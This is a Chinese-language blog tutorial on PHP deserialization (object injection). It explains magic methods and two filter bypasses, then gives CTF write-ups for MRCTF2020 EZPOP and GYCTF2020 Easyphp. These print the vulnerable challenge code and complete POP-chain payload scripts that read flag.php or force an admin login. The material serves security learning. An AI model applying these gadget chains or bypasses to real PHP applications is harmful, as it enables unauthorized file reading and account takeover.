PHP反序列化详解

/ 0评 / 0

今天有空系统学习下php反序列化的内容

反序列化:

有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

为什么会有PHP反序列化漏洞:

PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。

魔法函数:

construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
toString:当对象被当做一个字符串使用时调用。
sleep:  序列化对象之前就调用此方法(其返回需要一个数组)
wakeup:  反序列化恢复对象之前调用该方法
call:  当调用对象中不存在的方法会自动调用该方法。
get:  在调用私有属性的时候会自动执行
isset():  在不可访问的属性上调用isset()或empty()触发
unset(): 在不可访问的属性上使用unset()时触发
invoke(),调用函数的方式调用一个对象时的回应方法
在php官方文档中也有说明 魔术方法

类属性:

public 公有
private 私有
protect 保护
他们三个在调用并输出得到的结果会有所不同,我们来通过具体代码了解下

<?php
class Test{
    public $test2="hello world";
    private $test1='hello world';
    protected $test3='hello world';
}
$a=new Test();
echo serialize($a);
//O:4:"Test":3:{s:5:"test2";s:11:"hello world";s:11:"Testtest1";s:11:"hello world";s:8:"*test3";s:11:"hello world";}

可以很明显的发现,在输出不同属性的类时候字符串的长度会有不同。

通过对网页抓取输出是这样的
//O:4:"Test":3:{s:5:"test2";s:11:"hello world";s:11:"\00Test\00test1";s:11:"hello world";s:8:"\00*\00test3";s:11:"hello world";}
private的参数被反序列化后变成 \00Test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3
这序列化的内容都有什么含义呢?
a <span class="token operator">-</span> array                  b <span class="token operator">-</span> <span class="token builtin">boolean</span>
d <span class="token operator">-</span> double                 i <span class="token operator">-</span> integer
o <span class="token operator">-</span> common object          r <span class="token operator">-</span> reference
s <span class="token operator">-</span> <span class="token builtin">string</span>                 <span class="token constant">C</span> <span class="token operator">-</span> custom object
<span class="token constant">O</span> <span class="token operator">-</span> <span class="token keyword">class</span>                  <span class="token class-name">N</span> <span class="token operator">-</span> <span class="token keyword">null</span>
<span class="token constant">R</span> <span class="token operator">-</span> pointer reference      <span class="token constant">U</span> <span class="token operator">-</span> unicode <span class="token builtin">string</span>

官方定义:

可能看到上面的解释还是看不懂如何构造POP链,如何触发某魔法函数
我们先从官方文档中了解一下他们

__sleep()与__wakeup():

__toSring():

__invoke():


其他暂时不贴(不想贴了)

如何利用:

toString触发条件: echo ($obj) / print($obj) 打印时会触发 字符串连接时 格式化字符串时 与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 格式化SQL语句,绑定参数时 数组中有字符串时
destruct触发条件: 和构造函数相反,当对象所在函数调用完毕后执行。
wakeup失效:php版本< 5.6.25 | < 7.0.10    当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过wakeup()的执行
使用+绕过正则  例:
preg_match('/[oc]:\d+:/i', $var)
O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
etc.

从几道题看反序列化:

MRCTF2020 EZPOP

打开靶机,直接给了源码:

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source.;
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

审计:

首先我们找找在哪里可以读到文件很明显的发现了Modifier类中有include,而想要调用这个函数,我们需要调用invoke()这个魔术方法,通过上面的知识我们知道
invoke()当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用。
这时候就需要寻找哪个魔术方法返回了函数,很明显发现了Test类的
get方法 return function,而get方法如何调用呢?
get: 当访问和设置未定义和已经订定义但关键字为’private,protected’属性时会自动调用get(),
看到Show类 有个construct()魔术方法 创建新对象的时候会自动调用这个方法,toString() 魔术方法当echo 一个对象时会自动触发__toString()魔术方法
所以要echo include()里的内容,需要让source等于一个对象

解题:

调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发get()魔术方法,将Modifier这个类变成一个函数,从而调用invoke()方法,进而调用include()函数,让source 等于对象,进而触发__toString方法,输出内容
也就是 触发Show类中的wakeup方法,wakeup方法做字符串处理,触发tosring方法,如果将str实例化为Test,因为Test类中不含source属性,所以调用get方法,将function实例化为Modifier类,即可触发其中invoke方法,最终调用文件包含函数,读取flag.php

$a=new Show();
$a->source=$a;
$b=new Test();
$a->str=$b;
$c=new Modifier();
$b->p=$c;
$a=serialize($a);
echo $a;

传入就可以获得flag了


[GYCTF2020]Easyphp

p3师傅的题

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User {
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
    if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

前面的代码含义就是登陆就给flag,主要是反序列化的内容
UpdateHepler::destruct()->User::toString->Info::Call()->dbCtrl::login()
首先在user类中发现反序列化函数

跟进发现调用了UpdateHelper,跟进

发现会直接调用魔法函数
destruct,同时这里echo字符串,会触发 toString,
在user类中找到了

但是好像用不上

这里的
call可能我们会用到

总结pop链思路: UpdateHelper类触发__destruct(),然后会输出字符串触发User类的__toString(),
这里使User类调用Info里的nickname 因为Info里面没有__destruct从而触发__call将sql语句带入查询

<?php
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
}
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
}
class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name='admin';
    public $password;
    public $mysqli;
    public $token;
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;
echo serialize($c);

 

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注